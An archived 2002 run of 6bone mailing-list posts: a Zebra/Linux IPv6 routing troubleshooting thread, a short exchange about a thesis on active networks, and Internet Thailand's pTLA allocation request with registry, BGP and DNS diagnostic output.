see if it is still the same issue.

might be not the problem.

Marc.

-- vendredi, mai 24, 2002 01:54:44 +0200 Nicolas DEFFAYET 
<nicolas.deffayet-extml@ndsoftwaregroup.com> wrote/a écrit:

> Hello,
>
> First, sorry for cross-post but the problem is related to a lot of
> mailing-lists.
>
> I have a strange problem on one of my router:
> lacr1.us.ndsoftwarenet.net.
>
> I get "connect: Network is unreachable", when i try a traceroute or a
> connection from the router to a host on 6bone.
> The problem is random, because a destination www.kame.net can work but
> not www.6bone.net (for exemple) and after restart zebra www.6bone.net
> can work but not www.kame.net. Often, all destinations don't work.
>
> OS: Debian 3.0 (sid/unstable) with last update
> Kernel: 2.4.18 (i have try kernel 2.4.18 USAGI (last snapshot) and
> standard (from kernel.org) but same problem
> Zebra: 0.93 CVS (i have try 0.92a too but same problem)
>
> It's not the zebra configuration (zebra.conf, bgpd.conf), because all my
> routers have the same configuration.
>
> How i can fix this problem ?
>
> Any help are welcome.
>
> ---
>
> When a user, connected on router try traceroute:
>
> wireless:/etc/zebra# /usr/sbin/traceroute6 phenix.rootshell.be
> traceroute to phenix.rootshell.be (3ffe:8100:200:1fff::25) from
> 3ffe:81f1:3:2006::2, 30 hops max, 16 byte packets
> 1  tun6-0-lacr1.us.ndsoftwarenet.net (3ffe:81f1:3:2006::1)  118.109 ms
> !H 125.594 ms !H 119.42 ms !H
> wireless:/etc/zebra#
>
> ---
>
> When i try a traceroute from router:
>
># traceroute6 www.6bone.net
> connect: Network is unreachable
>
> ---
>
> Kernel routing table, good route on the good interface:
>
># route -A inet6 | grep 3ffe:b00::/24
> 3ffe:b00::/24                               fe80::d55b:403
> UG    1024   0        0 sit1
>
> ---
>
> BGP is OK:
>
> lacr1.us.ndsoftwarenet.net> show ipv6 bgp 3ffe:b00::/24
> BGP routing table entry for 3ffe:b00::/24
> Paths: (2 available, best #1, table Default-IP-Routing-Table)
>   Advertised to non peer-group peers:
>   3ffe:81f1:3:1000::2
>   10566
>     3ffe:81f1:1:2054::1 from 3ffe:81f1:1:2054::1 (213.91.4.3)
>     (fe80::d55b:403)
>       Origin incomplete, localpref 100, valid, internal, best
>       Last update: Thu May 23 06:04:22 2002
>
>   2042 10566
>     3ffe:81f1:3:2004::2 from 3ffe:81f1:3:2004::2 (202.187.22.65)
>     (fe80::cabb:1602)
>       Origin incomplete, localpref 100, valid, external
>       Last update: Thu May 23 06:04:20 2002
>
> lacr1.us.ndsoftwarenet.net>
>
> ---
>
> Zebra routing table is OK:
>
> lacr1.us.ndsoftwarenet.net> show ipv6 route 3ffe:b00::/24
> Routing entry for 3ffe:b00::/24
>   Known via "bgp", distance 200, metric 0, best
>   Last update 00:06:35 ago
>   * fe80::d55b:403, via sit1
>
> lacr1.us.ndsoftwarenet.net>
>
> ---
>
> Zebra compiled with --enable-netlink
>
> zebra.log:
> 2002/05/23 06:06:26 ZEBRA: netlink-listen error: File exists,
> type=RTM_NEWROUTE(24), seq=742, pid=0
> 2002/05/23 06:06:26 ZEBRA: netlink-listen error: File exists,
> type=RTM_NEWROUTE(24), seq=743, pid=0
> 2002/05/23 06:14:20 ZEBRA: netlink_talk: ignoring message type 0x0019
> 2002/05/23 06:14:20 ZEBRA: netlink_talk: ignoring message type 0x0019
>
> ---
>
> Zebra compiled with --disable-netlink
>
> zebra.log:
> 2002/05/23 06:15:13 ZEBRA: can't delete ipv6 route: No such process
> 2002/05/23 06:15:13 ZEBRA: can't delete ipv6 route: No such process
> 2002/05/23 06:15:13 ZEBRA: can't add ipv6 route: File exists
> 2002/05/23 06:15:13 ZEBRA: can't add ipv6 route: File exists
>
> ---
>
> Best Regards,
>
> Nicolas DEFFAYET
>
> ---------------------------------------------------------------------
> The IPv6 Users Mailing List
> Unsubscribe by sending "unsubscribe users" to majordomo@ipv6.org
>



------------------------------------------
Marc Blanchet
Viagénie
tel: +1-418-656-9254x225

------------------------------------------
http://www.freenet6.net: IPv6 connectivity
------------------------------------------
http://www.normos.org: IETF(RFC,draft),
  IANA,W3C,... standards.
------------------------------------------

From nicolas.deffayet-extml@ndsoftwaregroup.com Fri May 24 04:00:08 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: "'Fabio Massimo Di Nitto'" <fabbione@fabbione.net>
Cc: "'Mailing-List 6bone'" <6bone@ISI.EDU>,
   "'Mailing-List Debian IPv6'" <debian-ipv6@lists.debian.org>,
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> -----Original Message-----
> From: Fabio Massimo Di Nitto [mailto:fabbione@fabbione.net] 
> Sent: Friday, May 24, 2002 6:07 AM
> To: Nicolas DEFFAYET
> Cc: Mailing-List 6bone; Mailing-List Debian IPv6; 
> Mailing-List IPv6 Users; Mailing-List USAGI; Mailing-List Zebra
> Subject: Re: IPv6 routing problem with zebra and kernel
> 

Hi Fabio,
 
> Nicolas DEFFAYET wrote:
> 
> >
> >Zebra compiled with --enable-netlink
> >
> Did you enable the netlink emulation in the kernel as well????

Same problem with or without netlink_dev.

I reboot the machine and recompile zebra with and without netlink
options after each change...

> 
> A similar problem was discussed in one of the debian ml and 
> it seems that having netlink enable fix the problem but it 
> needs to be done both in the kernel and in zebra.

Don't find this discussion on google.
What's the list for i can search in the archive ?

Best Regards,

Nicolas DEFFAYET


From nicolas.deffayet-extml@ndsoftwaregroup.com Fri May 24 04:17:02 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: "'Roger Jorgensen'" <rjorgensen@upctechnology.com>
Cc: "'Mailing-List 6bone'" <6bone@ISI.EDU>,
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Subject: RE: [6bone] IPv6 routing problem with zebra and kernel
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> -----Original Message-----
> From: Roger Jorgensen [mailto:rjorgensen@upctechnology.com] 
> Sent: Friday, May 24, 2002 9:29 AM
> To: Nicolas DEFFAYET
> Subject: Re: [6bone] IPv6 routing problem with zebra and kernel
> 
> 
> How does your routing table look like (ip -6 ro with 
> iproute2) ? Is the via address right?
> 
> 

A destination who work:

# traceroute6 www.ipv6.chello.com
traceroute to future.ipv6.chello.com (2001:730:0:1:a00:20ff:fec1:b1f0)
from 3ffe:81f1:1:2054::2, 30 hops max, 16 byte packets
 1  tun54-0-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:1:2054::1)  200.536
ms  174.857 ms  164.169 ms
 2  chello-gw-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:1:2022::2)  196.507
ms  202.46 ms  192.882 ms
 3  future.ipv6.chello.com (2001:730:0:1:a00:20ff:fec1:b1f0)  193.6 ms
194.294 ms  193.905 ms

# ip -6 ro | grep 2001:730
2001:730::/35 via fe80::d55b:403 dev sit1  metric 1024  mtu 1480 advmss
1420

---

A destination who don't work:

# traceroute6 www.ipv6.uni-muenster.de 
connect: Network is unreachable

# ip -6 ro | grep 3ffe:400
unreachable 3ffe:400::/24 dev lo  metric 1024  error -101 mtu 16436
advmss 16376

Best Regards,

Nicolas DEFFAYET


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From fabbione@fabbione.net Thu May 23 21:07:59 2002
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 <debian-ipv6@lists.debian.org>,
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Hi Nicolas

Nicolas DEFFAYET wrote:

>
>Zebra compiled with --enable-netlink
>
Did you enable the netlink emulation in the kernel as well????

A similar problem was discussed in one of the debian ml and it seems
that having netlink enable fix the problem but it needs to be done
both in the kernel and in zebra.

Fabio



From fabbione@fabbione.net Fri May 24 05:20:10 2002
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   "'Mailing-List Debian IPv6'"
 <debian-ipv6@lists.debian.org>,
   "'Mailing-List IPv6 Users'"
 <users@ipv6.org>,
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Subject: [6bone] Re: [zebra 13790] RE: IPv6 routing problem with zebra and kernel
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Nicolas DEFFAYET wrote:

>Hi Fabio,
>  
>
>Don't find this discussion on google.
>What's the list for i can search in the archive ?
>
>  
>
As far as I remember was on debian-ipv6 or debian-devel.

Regards
Fabio


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Subject: [6bone] thesis about active network over ipv6
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Hi,

I'm writing a thesis about active network over ipv6. I found your e-mail on
the internet.

Could you give me some hints about papers, sites or books that i can find
good information of these subject.

Thanks very much!

Elisaudo Sousa de Jesus
elisaudo@telegoias.com.br <mailto:elisaudo@telegoias.com.br> 

From nicolas.deffayet-extml@ndsoftwaregroup.com Wed May 29 09:29:13 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: "'Elisaudo Sousa de Jesus'" <elisaudo@telegoias.com.br>, <6bone@ISI.EDU>
Subject: RE: [6bone] thesis about active network over ipv6
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> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu 
> [mailto:6bone-admin@mailman.isi.edu] On Behalf Of Elisaudo 
> Sousa de Jesus
> Sent: Wednesday, May 29, 2002 3:25 AM
> To: '6bone@ISI.EDU'
> Subject: [6bone] thesis about active network over ipv6
> 

Hi,

> I'm writing a thesis about active network over ipv6. I found 
> your e-mail on the internet.

It's a mailing-list.

> 
> Could you give me some hints about papers, sites or books 
> that i can find good information of these subject.
> 

Have you try to search on this sites ?

http://www.6bone.net
http://www.hs247.com
http://dmoz.org/Computers/Internet/Protocols/IP/IPng/


Best Regards,

Nicolas DEFFAYET


From ck@ns1.arch.bellsouth.net Wed May 29 09:45:51 2002
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Date: Wed, 29 May 2002 12:45:54 -0400
From: Christian Kuhtz <ck@arch.bellsouth.net>
To: Elisaudo Sousa de Jesus <elisaudo@telegoias.com.br>
Cc: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: Re: [6bone] thesis about active network over ipv6
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active network?  care to explain what _exactly_ you mean by that?

marketeers with their marketecture slides have screwed that word up 
quite nicely.

On Tue, May 28, 2002 at 10:25:23PM -0300, Elisaudo Sousa de Jesus wrote:
> Hi,
> 
> I'm writing a thesis about active network over ipv6. I found your e-mail on
> the internet.
> 
> Could you give me some hints about papers, sites or books that i can find
> good information of these subject.
> 
> Thanks very much!
> 
> Elisaudo Sousa de Jesus
> elisaudo@telegoias.com.br <mailto:elisaudo@telegoias.com.br> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From dax@infres.enst.fr Wed May 29 10:13:32 2002
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Date: Wed, 29 May 2002 19:13:24 +0200
From: Philippe Dax <dax@inf.enst.fr>
To: Christian Kuhtz <ck@arch.bellsouth.net>
Cc: Elisaudo Sousa de Jesus <elisaudo@telegoias.com.br>,
   "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: Re: [6bone] thesis about active network over ipv6
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On 29/05, Christian Kuhtz wrote:
| 
| active network?  care to explain what _exactly_ you mean by that?
| 
| marketeers with their marketecture slides have screwed that word up 
| quite nicely.

From: http://nms.lcs.mit.edu/darpa-activenet/mission.html

What is an active network? 

      Active networks allow individual user, or groups of users,
      to inject customized programs into the nodes of the network.
      "Active" architectures enable a massive increase in the complexity
      and customization of the computation that is performed within
      the network, e.g., that is interposed between the communicating
      end points.

See http://nms.lcs.mit.edu/darpa-activenet/
and http://ww.isi.edu/abone/

Philippe Dax
--

| On Tue, May 28, 2002 at 10:25:23PM -0300, Elisaudo Sousa de Jesus wrote:
| > Hi,
| > 
| > I'm writing a thesis about active network over ipv6. I found your e-mail on
| > the internet.
| > 
| > Could you give me some hints about papers, sites or books that i can find
| > good information of these subject.
| > 
| > Thanks very much!
| > 
| > Elisaudo Sousa de Jesus
| > elisaudo@telegoias.com.br <mailto:elisaudo@telegoias.com.br> 
| > _______________________________________________
| > 6bone mailing list
| > 6bone@mailman.isi.edu
| > http://mailman.isi.edu/mailman/listinfo/6bone
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

From fink@es.net Mon Jun  3 20:36:26 2002
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Date: Mon, 03 Jun 2002 20:36:01 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Cc: Sanan Kurkulsatsanakit <snakk@inet.co.th>
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Subject: [6bone] pTLA request INET-TH - review closes 17 June 2002
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6bone Folk,

INET-TH has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 17 June 
2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?INET-TH>

<http://www.v6.inet.co.th>


Thanks,

Bob

===
>Date: Mon, 3 Jun 2002 09:11:28 +0700 (GMT+0700)
>From: Sanan Kurkulsatsanakit <snakk@inet.co.th>
>To: <fink@es.net>
>cc: <ipv6@inet.co.th>
>Subject: pTLA prefix request
>
>Hi Bob,
>
>This is a pTLA prefix request from Internet Thailand Public Company
>Limited. Please review and notify us <ipv6@inet.co.th> for any update.
>
>Many thanks,
>Sanan
>
>
>================================================================================
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.   During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>--------------------------------------------------------------------------------
>We have 3 delegated 6bone prefix (/48) as following:
>- 3FFE:B80:61F::/48     from FREENET6
>- 3FFE:B00:4050::/48    from VIAGENIE
>- 3FFE:2900:1101::/48   from SPRINT
>
><<< ipv6-site >>>
>% RIPEdb(3.0.0b2) with ISI RPSL extensions
>
>ipv6-site:    INET-TH
>origin:       AS4618
>descr:        Internet Thailand Public Company Limited
>country:      TH
>prefix:       3FFE:B80:61F::/48
>prefix:       3FFE:B00:4050::/48
>prefix:       3FFE:2900:1101::/48
>application:  ping ipv6-gw66.inet.co.th
>tunnel:       IPv6 in IPv4 ipv6-gw66.inet.co.th -> www.freenet6.net
>VIAGENIE STATIC
>tunnel:       IPv6 in IPv4 ipv6-gw66.inet.co.th -> rap.viagenie.qc.ca
>VIAGENIE BGP4+
>tunnel:       IPv6 in IPv4 ipv6-gw66.inet.co.th ->
>sl-bb1v6-sj.sprintlink.net SPRINT BGP4+
>contact:      BS5-6BONE
>contact:      INOC1-6BONE
>remarks:      ipv6-site is operational since 20011225
>mnt-by:       MNT-INET
>changed:      snakk@inet.co.th 20011227
>changed:      snakk@inet.co.th 20011229
>changed:      snakk@inet.co.th 20020117
>changed:      snakk@inet.co.th 20020129
>source:       6BONE
>
><<< inet6num >>>
>inet6num:     3FFE:B80:61F::/48
>netname:      INET-TH
>descr:        Internet Thailand Public Company Limited
>country:      TH
>admin-c:      BS5-6BONE
>tech-c:       INOC1-6BONE
>notify:       noc@inet.co.th
>mnt-by:       MNT-INET
>changed:      snakk@inet.co.th 20011225
>changed:      snakk@inet.co.th 20011227
>source:       6BONE
>
>inet6num:     3FFE:B00:4050::/48
>netname:      INET-TH
>descr:        Internet Thailand Public Company Limited
>country:      TH
>admin-c:      BS5-6BONE
>tech-c:       INOC1-6BONE
>notify:       ipv6@inet.co.th
>mnt-by:       MNT-INET
>changed:      snakk@inet.co.th 20020529
>source:       6BONE
>
>inet6num:     3FFE:2900:1101::/48
>netname:      INET-TH
>descr:        Internet Thailand Public Company Limited
>country:      TH
>admin-c:      BS5-6BONE
>tech-c:       INOC1-6BONE
>notify:       ipv6@inet.co.th
>mnt-by:       MNT-INET
>changed:      snakk@inet.co.th 20020529
>source:       6BONE
>
>
><<< mntner >>>
>% RIPEdb(3.0.0b2) with ISI RPSL extensions
>
>mntner:       MNT-INET
>descr:        Maintainer of INET-TH 6bone objects
>admin-c:      BS16-AP
>tech-c:       CN2-TH
>tech-c:       SK13-AP
>tech-c:       SK26-TH
>upd-to:       noc@inet.co.th
>auth:         CRYPT-PW *
>auth:         CRYPT-PW *
>remarks:      This object is automatically converted from the RIPE181
>registry
>mnt-by:       MNT-INET
>changed:      snakk@inet.co.th 20010107
>changed:      snakk@inet.co.th 20010108
>changed:      auto-dbm@whois.6bone.net 20010117
>source:       6BONE
>
><<< person >>>
>% RIPEdb(3.0.0b2) with ISI RPSL extensions
>
>role:         INET-TH Network Operation Center
>address:      Internet Thailand Public Company Limited
>address:      108 Bangkok Thai Tower Bldg., 12 Fl.,
>address:      Rangnam Rd., Rajdhevee,
>address:      Bangkok 10400, Thailand
>phone:        +66-2640-0345
>fax-no:       +66-2640-0456
>e-mail:       noc@inet.co.th
>admin-c:      BS5-6BONE
>tech-c:       SK2-6BONE
>nic-hdl:      INOC1-6BONE
>remarks:      This object is automatically converted from the RIPE181
>registry
>notify:       noc@inet.co.th
>mnt-by:       MNT-INET
>changed:      snakk@inet.co.th 20010108
>changed:      auto-dbm@whois.6bone.net 20010117
>changed:      snakk@inet.co.th 20011225
>source:       6BONE
>
>person:       Buncha Srisamanuwat
>address:      Internet Thailand Public Company Limited
>address:      108 Bangkok Thai Tower Bldg., 12 Fl.,
>address:      Rangnam Rd., Rajdhevee,
>address:      Bangkok 10400, Thailand
>phone:        +66-2640-0345
>fax-no:       +66-2640-0456
>e-mail:       athicha@inet.co.th
>nic-hdl:      BS5-6BONE
>remarks:      This object is automatically converted from the RIPE181
>registry
>notify:       athicha@inet.co.th
>mnt-by:       MNT-INET
>changed:      snakk@inet.co.th 20010108
>changed:      auto-dbm@whois.6bone.net 20010117
>changed:      snakk@inet.co.th 20011225
>source:       6BONE
>
>person:       Sanan Kurkulsatsanakit
>address:      Internet Thailand Public Company Limited
>address:      108 Bangkok Thai Tower Bldg., 12 Fl.,
>address:      Rangnam Rd., Rajdhevee,
>address:      Bangkok 10400, Thailand
>phone:        +66-2640-0345
>fax-no:       +66-2640-0456
>e-mail:       snakk@inet.co.th
>nic-hdl:      SK2-6BONE
>remarks:      This object is automatically converted from the RIPE181
>registry
>notify:       snakk@inet.co.th
>mnt-by:       MNT-INET
>changed:      snakk@inet.co.th 20010108
>changed:      auto-dbm@whois.6bone.net 20010117
>changed:      snakk@inet.co.th 20011225
>source:       6BONE
>
>person:       Chakrit Noisuwan
>address:      Internet Thailand Public Company Limited
>address:      108 Bangkok Thai Tower Bldg., 12 Fl.,
>address:      Rangnam Rd., Rajdhevee,
>address:      Bangkok 10400, Thailand
>phone:        +66-2640-0345
>fax-no:       +66-2640-0456
>e-mail:       chakrit@inet.co.th
>nic-hdl:      CN2-6BONE
>notify:       chakrit@inet.co.th
>mnt-by:       MNT-INET
>changed:      snakk@inet.co.th 20011225
>changed:      snakk@inet.co.th 20011225
>source:       6BONE
>
>person:       Nattapong Jatupongpairoj
>address:      Internet Thailand Public Company Limited
>address:      108 Bangkok Thai Tower Bldg., 12th Fl.,
>address:      Rangnam Rd., Rajdhevee,
>address:      Bangkok 10400, Thailand
>phone:        +66-2640-0345
>fax-no:       +66-2257-7275
>e-mail:       jnatta@inet.co.th
>nic-hdl:      NJ2-6BONE
>notify:       jnatta@inet.co.th
>mnt-by:       MNT-INET
>changed:      snakk@inet.co.th 20020521
>source:       6BONE
>
>person:       Prasong Sakulwongwattana
>address:      Internet Thailand Public Company Limited
>address:      108 Bangkok Thai Tower Bldg., 12th Fl.,
>address:      Rangnam Rd., Rajdhevee,
>address:      Bangkok 10400, Thailand
>phone:        +66-2640-0345
>fax-no:       +66-2257-7275
>e-mail:       psongs@inet.co.th
>nic-hdl:      PS9-6BONE
>notify:       psongs@inet.co.th
>mnt-by:       MNT-INET
>changed:      snakk@inet.co.th 20020521
>source:       6BONE
>
>person:       Karaked Kedchumpol
>address:      Internet Thailand Public Company Limited
>address:      108 Bangkok Thai Tower Bldg., 12th Fl.,
>address:      Rangnam Rd., Rajdhevee,
>address:      Bangkok 10400, Thailand
>phone:        +66-2640-0345
>fax-no:       +66-2257-7275
>e-mail:       karaked@inet.co.th
>nic-hdl:      KK13-6BONE
>notify:       karaked@inet.co.th
>mnt-by:       MNT-INET
>changed:      snakk@inet.co.th 20020521
>source:       6BONE
>
>--------------------------------------------------------------------------------
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>--------------------------------------------------------------------------------
>We have 2 BGP perring with SPRINT and VIAGENIE
>
>IPv6-Router#show ipv6 interface brief
>Ethernet0                  [up/up]
>     3FFE:2900:1101:0:2B0:64FF:FEFC:E2E1
>Loopback0                  [up/up]
>     unassigned
>Tunnel11                   [up/up]      <--- SPRINT
>     3FFE:2900:1100:1::2
>Tunnel99                   [up/up]      <--- VIAGENIE
>     3FFE:B00:C18::99
>
>IPv6-Router#show ip interface brief
>Interface                  IP-Address      OK? Method Status
>Prot
>ocol
>Ethernet0                  203.150.14.66   YES NVRAM  up
>up
>
>Loopback0               203.150.16.66   YES NVRAM  up
>up
>
>Tunnel11                   unassigned      YES NVRAM  up
>up      <--- SPRINT
>
>Tunnel99                   unassigned      YES NVRAM  up
>up      <--- VIAGENIE
>
>IPv6-Router#show bgp ipv6 summary
>BGP router identifier 203.150.16.66, local AS number 4618
>BGP table version is 265470, main routing table version 265470
>225 network entries and 427 paths using 58061 bytes of memory
>359 BGP path attribute entries using 21540 bytes of memory
>348 BGP AS-PATH entries using 9812 bytes of memory
>9 BGP community entries using 216 bytes of memory
>0 BGP route-map cache entries using 0 bytes of memory
>180 BGP filter-list cache entries using 2160 bytes of memory
>213 received paths for inbound soft reconfiguration
>BGP activity 56658/276904 prefixes, 219207/218780 paths, scan interval 15
>secs
>
>Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down
>State/PfxRcd
>3FFE:B00:C18::98
>                 4 10566  746846  346002   265470    0    0 13:33:53
>0       <--- VIAGENIE
>3FFE:2900:1100:1::1
>                 4  6175  352396  171730   265470    0    0 1d02h
>212     <--- SPRINT
>
>--------------------------------------------------------------------------------
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>--------------------------------------------------------------------------------
>The main DNS server is "rns1.v6.inet.co.th".
>Our formal forward domain name for IPv6 is "v6.inet.co.th".
>And we have DNS reverse (ip6.int) delegation from SPRINT
>(3ffe:2900:1101::/48) only.
>
># nslookup -type=soa v6.inet.co.th
>v6.inet.co.th
>         origin = rns1.v6.inet.co.th
>         mail addr = hostmaster.inet.co.th
>         serial = 2002052803
>         refresh = 21600 (6H)
>         retry   = 7200 (2H)
>         expire  = 604800 (1W)
>         minimum ttl = 43200 (12H)
>v6.inet.co.th   nameserver = rns1.v6.inet.co.th
>rns1.v6.inet.co.th      internet address = 203.150.14.111
>rns1.v6.inet.co.th      IPv6 address = 3ffe:2900:1101:0:210:64ff:fe30:7cb9
>
># nslookup
> > ls -d v6.inet.co.th
>$ORIGIN v6.inet.co.th.
>@               12H IN SOA      rns1 hostmaster.inet.co.th. (
>                 2002052803      ; serial
>                 6H              ; refresh
>                 2H              ; retry
>                 1W              ; expiry
>                 12H )           ; minimum
>
>                 12H IN NS       rns1
>FREENET6        12H IN AAAA     3ffe:b80:61f::
>SPRINT          12H IN AAAA     3ffe:2900:1101::
>VIAGENIE        12H IN AAAA     3ffe:b00:4050::
>
>core-gw         12H IN A        203.150.14.66
>                 12H IN AAAA     3ffe:2900:1101:0:2b0:64ff:fefc:e2e1
>
>netcen          12H IN A        203.150.14.120
>                 12H IN AAAA     3ffe:2900:1101:0:220:afff:fed3:6a4c
>rns1            12H IN A        203.150.14.111
>                 12H IN AAAA     3ffe:2900:1101:0:210:64ff:fe30:7cb9
>www             12H IN A        203.150.14.120
>                 12H IN AAAA     3ffe:2900:1101:0:220:afff:fed3:6a4c
>
>
># dig -t any 1.0.1.1.0.0.9.2.e.f.f.3.ip6.int @ns1.sprintv6.net
>
>; <<>> DiG 8.3 <<>> -t 1.0.1.1.0.0.9.2.e.f.f.3.ip6.int @ns1.sprintv6.net
>; (1 server found)
>;; res options: init recurs defnam dnsrch
>;; got answer:
>;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6
>;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 1, ADDITIONAL: 2
>;; QUERY SECTION:
>;;      1.0.1.1.0.0.9.2.e.f.f.3.ip6.int, type = ANY, class = IN
>
>;; ANSWER SECTION:
>1.0.1.1.0.0.9.2.e.f.f.3.ip6.int.  4H IN NS  rns1.v6.inet.co.th.
>
>;; AUTHORITY SECTION:
>9.2.e.f.f.3.ip6.int.    4H IN NS        ns1.sprintv6.net.
>
>;; ADDITIONAL SECTION:
>ns1.sprintv6.net.       4H IN A         63.167.40.5
>ns1.sprintv6.net.       4H IN AAAA  2001:440:1239:1001::2
>
>
>--------------------------------------------------------------------------------
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>--------------------------------------------------------------------------------
>Our common webpage for IPv6 is "http://www.v6.inet.co.th".
>It can be IPv6 pingable.
>
># ping6 www.v6.inet.co.th
>PING6(56=40+8+8 bytes) 3ffe:2900:1101:0:220:afff:fed3:6a4c -->
>3ffe:2900:1101:0:220:afff:fed3:6a4c
>
>16 bytes from 3ffe:2900:1101:0:220:afff:fed3:6a4c, icmp_seq=0 hlim=64
>time=0.32 ms
>16 bytes from 3ffe:2900:1101:0:220:afff:fed3:6a4c, icmp_seq=1 hlim=64
>time=0.19 ms
>16 bytes from 3ffe:2900:1101:0:220:afff:fed3:6a4c, icmp_seq=2 hlim=64
>time=0.186 ms
>16 bytes from 3ffe:2900:1101:0:220:afff:fed3:6a4c, icmp_seq=3 hlim=64
>time=0.185 ms
>16 bytes from 3ffe:2900:1101:0:220:afff:fed3:6a4c, icmp_seq=4 hlim=64
>time=0.189 ms
>
>--- www.v6.inet.co.th ping6 statistics ---
>5 packets transmitted, 5 packets received, 0% packet loss
>round-trip min/avg/max = 0.185/0.214/0.320 ms
>
>================================================================================
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>--------------------------------------------------------------------------------
>person:       Buncha Srisamanuwat
>notify:       athicha@inet.co.th
>
>person:       Sanan Kurkulsatsanakit
>notify:       snakk@inet.co.th
>
>person:       Chakrit Noisuwan
>notify:       chakrit@inet.co.th
>
>person:       Nattapong Jatupongpairoj
>notify:       jnatta@inet.co.th
>
>person:       Prasong Sakulwongwattana
>notify:       psongs@inet.co.th
>
>person:       Karaked Kedchumpol
>notify:       karaked@inet.co.th
>
>--------------------------------------------------------------------------------
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>--------------------------------------------------------------------------------
>The common mailbox for IPv6 in INET-TH is "ipv6@inet.co.th"
>
>ipv6-site:    INET-TH
>contact:      INOC1-6BONE
>
>role:         INET-TH Network Operation Center
>e-mail:       ipv6@inet.co.th
>nic-hdl:      INOC1-6BONE
>
>================================================================================
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>--------------------------------------------------------------------------------
>INET-TH is the most market-shared ISP of corporate customers in Thailand.
>We are providing Internet Access Service for both Corporate and Individual
>customers. We also provide Hosting, Co-location, Internet  Data Center and
>E-commerce Services. We are the first ISP in Thailand that became to
>public
>company limited. Our coverage is overall of Thailand 76 provinces last
>year.
>
>As a 6BONE pTLA, we have a plan of testbed with our subscribers with
>policy
>of not charging services.  We welcome whoever want to connect us with
>6BONE prefix.
>
>We also plan to request IPv6 address space from APNIC within this year.
>Then
>we will provide our commercial services in IPv6.
>
>================================================================================
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>--------------------------------------------------------------------------------
>
>INET-TH commit and agree to the current and future 6BONE operational rules
>and policies.
>
><<< Internet Thailand Public Company Limited >>>



From fink@es.net Tue Jun  4 05:37:00 2002
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Date: Tue, 04 Jun 2002 05:36:51 -0700
To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
Cc: Sanan Kurkulsatsanakit <snakk@inet.co.th>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: [6bone] pTLA request INET-TH - review closes 17 June 2002
Sender: 6bone-admin@mailman.isi.edu
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6bone Folk,

INET-TH has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 17 June 
2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?INET-TH>

<http://www.v6.inet.co.th>


Thanks,

Bob

===
Date: Mon, 3 Jun 2002 09:11:28 +0700 (GMT+0700)
From: Sanan Kurkulsatsanakit <snakk@inet.co.th>
To: <fink@es.net>
cc: <ipv6@inet.co.th>
Subject: pTLA prefix request

Hi Bob,

This is a pTLA prefix request from Internet Thailand Public Company
Limited. Please review and notify us <ipv6@inet.co.th> for any update.

Many thanks,
Sanan


================================================================================
    1. The pTLA Applicant must have a minimum of three (3) months
       qualifying experience as a 6Bone end-site or pNLA transit.   During
       the entire qualifying period the Applicant must be operationally
       providing the following:

       a. Fully maintained, up to date, 6Bone Registry entries for their
          ipv6-site inet6num, mntner, and person objects, including each
          tunnel that the Applicant has.
--------------------------------------------------------------------------------
We have 3 delegated 6bone prefix (/48) as following:
- 3FFE:B80:61F::/48	from FREENET6
- 3FFE:B00:4050::/48	from VIAGENIE
- 3FFE:2900:1101::/48	from SPRINT

<<< ipv6-site >>>
% RIPEdb(3.0.0b2) with ISI RPSL extensions

ipv6-site:    INET-TH
origin:       AS4618
descr:        Internet Thailand Public Company Limited
country:      TH
prefix:       3FFE:B80:61F::/48
prefix:       3FFE:B00:4050::/48
prefix:       3FFE:2900:1101::/48
application:  ping ipv6-gw66.inet.co.th
